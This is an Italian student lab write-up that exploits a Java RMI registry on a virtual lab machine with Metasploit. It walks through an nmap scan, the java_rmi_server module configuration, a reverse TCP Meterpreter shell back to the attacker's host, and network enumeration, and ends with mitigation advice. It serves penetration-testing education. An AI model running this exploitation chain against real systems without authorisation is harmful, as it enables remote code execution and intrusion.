

Progetto S7/L5



Vulnerabilità Java-RMI

La vulnerabilità Java RMI (Remote Method Invocation) è un punto debole o una falla nel modo in cui il software Java gestisce la comunicazione remota. Questo difetto consente a persone non autorizzate di inserire e far eseguire codice dannoso su sistemi che utilizzano questa tecnologia. In sostanza, è come una porta aperta che consente agli aggressori di introdurre istruzioni nocive in un sistema, potenzialmente compromettendo la sicurezza e permettendo loro di accedere a informazioni sensibili o prendere il controllo dei dispositivi colpiti.

Conseguenze:

- **Esecuzione di codice remoto:** Questa vulnerabilità permette agli attaccanti di inviare istruzioni dannose da un'altra posizione, permettendo loro di assumere il controllo dei sistemi a distanza.
- **Attacchi DoS:** Gli aggressori, sfruttando la vulnerabilità, possono sovraccaricare il sistema con un'enorme quantità di richieste, simile a un'invasione di traffico.
- **Furto di informazioni sensibili:** Quando il codice dannoso viene eseguito, gli aggressori possono accedere a informazioni riservate o confidenziali.
- **Compromissione dell'integrità dei dati:** L'accesso non autorizzato ai sistemi tramite Java RMI può comportare la manipolazione non consentita dei dati.
- **Scenari di attacco misti:** Questa vulnerabilità può essere parte di un attacco più ampio, utilizzata insieme ad altre tecniche per causare un danno maggiore.



```
(alex@kali)~  
$ ping 192.168.1.149  
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data.  
64 bytes from 192.168.1.149: icmp_seq=1 ttl=64 time=2.80 ms  
64 bytes from 192.168.1.149: icmp_seq=2 ttl=64 time=0.929 ms  
64 bytes from 192.168.1.149: icmp_seq=3 ttl=64 time=0.941 ms  
^C  
— 192.168.1.149 ping statistics —  
3 packets transmitted, 3 received, 0% packet loss, time 2006ms  
rtt min/avg/max/mdev = 0.929/1.555/2.795/0.876 ms
```

```
(alex@kali)~  
$ sudo nmap -A -T5 192.168.1.149 -p 1099  
[sudo] password for alex:  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-10 10:19 CET  
Nmap scan report for 192.168.1.149  
Host is up (0.0020s latency).  
  
PORT      STATE SERVICE VERSION  
1099/tcp  open  java-rmi GNU Classpath grmiregistry  
MAC Address: 08:00:27:0F:CE:E5 (Oracle VirtualBox virtual NIC)  
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port  
Device type: general purpose  
Running: Linux 2.6.X  
OS CPE: cpe:/o:linux:linux_kernel:2.6  
OS details: Linux 2.6.9 - 2.6.33  
Network Distance: 1 hop  
  
TRACEROUTE  
HOP RTT      ADDRESS  
1  2.02 ms 192.168.1.149  
  
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 7.63 seconds
```

Effettuiamo un scan ,verso la porta 1099 dell'ip target, attraverso nmap ,come ci richiede la traccia .

Approfondimento

Network Mapper (Nmap) è uno degli strumenti più comuni e ampiamente utilizzati per la ricognizione della rete. Viene utilizzato nell'esecuzione di test di penetrazione ed è il controllo di sicurezza nella sicurezza informatica. È uno strumento gratuito e open source per l'individuazione della rete utilizzato per scoprire host e servizi su una rete di computer. Nmap è uno strumento indispensabile per gli ethical hacker ed è disponibile su tutte le piattaforme. È specificamente progettato per analizzare reti di grandi dimensioni e singoli host

```

(root@kali)-[~]
# msfconsole

Metasploit tip: When in a module, use back to go back to the top level
prompt

IIIIII dTb.dTb
II 4' v 'B
II 6. .P
II 'T; .;P'
II 'T; ;P'
IIIIII 'YvP'

I love shells --egypt

      =[ metasploit v6.3.41-dev ]
+ -- --=[ 2371 exploits - 1230 auxiliary - 414 post ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 >

```

Una volta verificato che la macchina Kali e Metasploitable comunicano tra loro, il passo successivo è aprire il terminale di Metasploit dall'ambiente Kali, digitando "msfconsole" nel terminale di Kali.

Questo comando avvierà Metasploit e ci darà l'accesso alla console in modo da poter utilizzare gli strumenti e le funzionalità offerti da questo framework .

Approfondimenti

Metasploit è uno strumento di pentesting ampiamente utilizzato dagli addetti ai lavori, che rende l'hacking molto più semplice di prima, funziona come uno strumento indispensabile sia per il Red che per il Blue Team, posizionandosi come strumento essenziale da utilizzare per molti attaccanti e difensori.

Ai vecchi tempi, il pentesting comportava un sacco di lavoro ripetitivo che Metasploit ora automatizza. Information gathering? Ottenere l'accesso? Mantenere la persistenza? Evadere il rilevamento? Metasploit è un ottimo strumento, e chi lavora nella sicurezza informatica, probabilmente lo ha già utilizzato.

```
msf6 > search java_rmi
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/gather/java_rmi_registry		normal	No	Java RMI Registry Interfaces Enumeration
1	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
2	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
3	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example `info 3`, `use 3` or `use exploit/multi/browser/java_rmi_connection_impl`

```
msf6 >
```

```
msf6 > use 1
```

```
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
```

```
msf6 exploit(multi/misc/java_rmi_server) >
```

Adesso cercheremo il modulo interessato attraverso il comando “search java_rmi”. Una volta ottenuti i vari risultati andremo a scegliere l’exploit che fa al caso nostro.

Di norma andremo a testare i vari exploit ,partendo dal primo, ma in questo caso ho optato per il secondo ,poiché ha un rank maggiore ma soprattutto è stato l’unico ad essere testato.

Approfondimenti

L’**exploit** è un codice malevolo che va a sfruttare una vulnerabilità già presente (potenzialmente la vittima non se ne rende conto) ,da non confondere con il malware ,che è sempre un codice malevolo , ma a differenza dell’exploit viene introdotto all’interno del sistema.

Payload è una connessione ponte tra la macchina dell’attaccante alla macchina della vittima.

```
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):
```

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

```

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.1.57    yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Generic (Java Payload)

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.1.149
rhosts => 192.168.1.149
msf6 exploit(multi/misc/java_rmi_server) >

```

Dopo aver scelto l'exploit, è essenziale verificare i requisiti obbligatori indicati come "required yes".

Questi includono elementi come "Rhosts", che rappresenta l'indirizzo IP della macchina vittima.

Nel caso in cui manchi questo parametro, è necessario aggiungerlo manualmente utilizzando il comando "set rhosts" seguito dall'indirizzo IP della macchina vittima.

È importante completare accuratamente questi requisiti per garantire che l'exploit venga eseguito correttamente sul target desiderato senza alcun problema.


```
msf6 exploit(multi/misc/java_rmi_server) > show options
```

```
Module options (exploit/multi/misc/java_rmi_server):
```

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS	192.168.1.149	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

```
Payload options (java/meterpreter/reverse_tcp):
```

Name	Current Setting	Required	Description
LHOST	192.168.1.57	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

```
Exploit target:
```

Id	Name
--	---
0	Generic (Java Payload)

```
View the full module info with the info, or info -d command.
```

Una volta che hai inserito l'indirizzo IP della vittima con il parametro "Rhosts", è importante verificare con attenzione se è stato inserito correttamente. Questo passo assicura che l'attacco venga indirizzato alla destinazione corretta, riducendo il rischio di eseguire l'exploit su un target non desiderato.

In questo caso, di default è stato già incluso un "payload". Questo significa che non è necessario inserirlo manualmente. Avendo completato la configurazione corretta degli indirizzi e con il payload già presente, possiamo mandare l'exploit, avviando l'attacco verso la macchina bersaglio.

Approfondimento

Il payload **reverse** stabilisce una connessione dalla vittima all'attaccante. Questo tipo di connessione è potenzialmente più pericoloso in quanto agisce dall'interno verso l'esterno del sistema bersaglio. Questo significa che, poiché la connessione è iniziata dalla vittima e si rivolge all'attaccante, può eludere più facilmente le protezioni come i firewall dinamici. Mentre il **bind** stabilisce una connessione da attaccante a vittima.

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit
```

```
[*] Started reverse TCP handler on 192.168.1.57:4444
[*] 192.168.1.149:1099 - Using URL: http://192.168.1.57:8080/80UePIRaIZjmrrc
[*] 192.168.1.149:1099 - Server started.
[*] 192.168.1.149:1099 - Sending RMI Header ...
[*] 192.168.1.149:1099 - Sending RMI Call ...
[*] 192.168.1.149:1099 - Replied to request for payload JAR
[*] Sending stage (57692 bytes) to 192.168.1.149
[*] Meterpreter session 1 opened (192.168.1.57:4444 → 192.168.1.149:60307) at 2023-11-10 10:59:48 +0100
```

```
meterpreter > |
```

```
meterpreter > ifconfig
```

Interface 1

```
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::
```

Interface 2

```
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.1.149
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe0f:cee5
IPv6 Netmask : ::
```

```
meterpreter > route
```

IPv4 network routes

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.1.149	255.255.255.0	0.0.0.0		

IPv6 network routes

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:fe0f:cee5	::	::		

```
meterpreter > |
```

Meterpreter ha aperto una connessione con il l'ip target della vittima .

Adesso possiamo controllare lo stato della rete o delle interfacce di rete sulla macchina compromessa verificando appunto la connettività e raccogliendo informazioni sulle interfacce di rete.

Questa tabella specifica come il traffico di rete è instradato, mostrando le informazioni su quali reti e dispositivi sono accessibili direttamente e quali richiedono il passaggio attraverso un gateway. È utile per capire e gestire l'instradamento del traffico di rete.

Considerazioni Finali

Per cercare di mitigare il più possibile il rischio dovuto alla vulnerabilità “Java RMI” bisognerebbe utilizzare un approccio olistico alla sicurezza.

Prima di tutto, bisognerebbe mantenere costantemente aggiornati tutti i software Java e i framework che fanno uso di Java RMI. Questo significa installare patch e aggiornamenti forniti dalle aziende responsabili delle librerie e dei sistemi per correggere le vulnerabilità note.

In secondo luogo, l'utilizzo di un firewall per limitare l'accesso non autorizzato alle porte utilizzate da Java RMI è cruciale. Configurare la rete in modo da consentire l'accesso solo a dispositivi e utenti autorizzati può essere di grande aiuto.

Inoltre un altro aspetto essenziale è il monitoraggio e il logging. La registrazione dell'attività del servizio RMI e l'implementazione di un sistema di monitoraggio possono aiutare a individuare e rispondere prontamente a eventuali tentativi di accesso non autorizzato o attacchi.

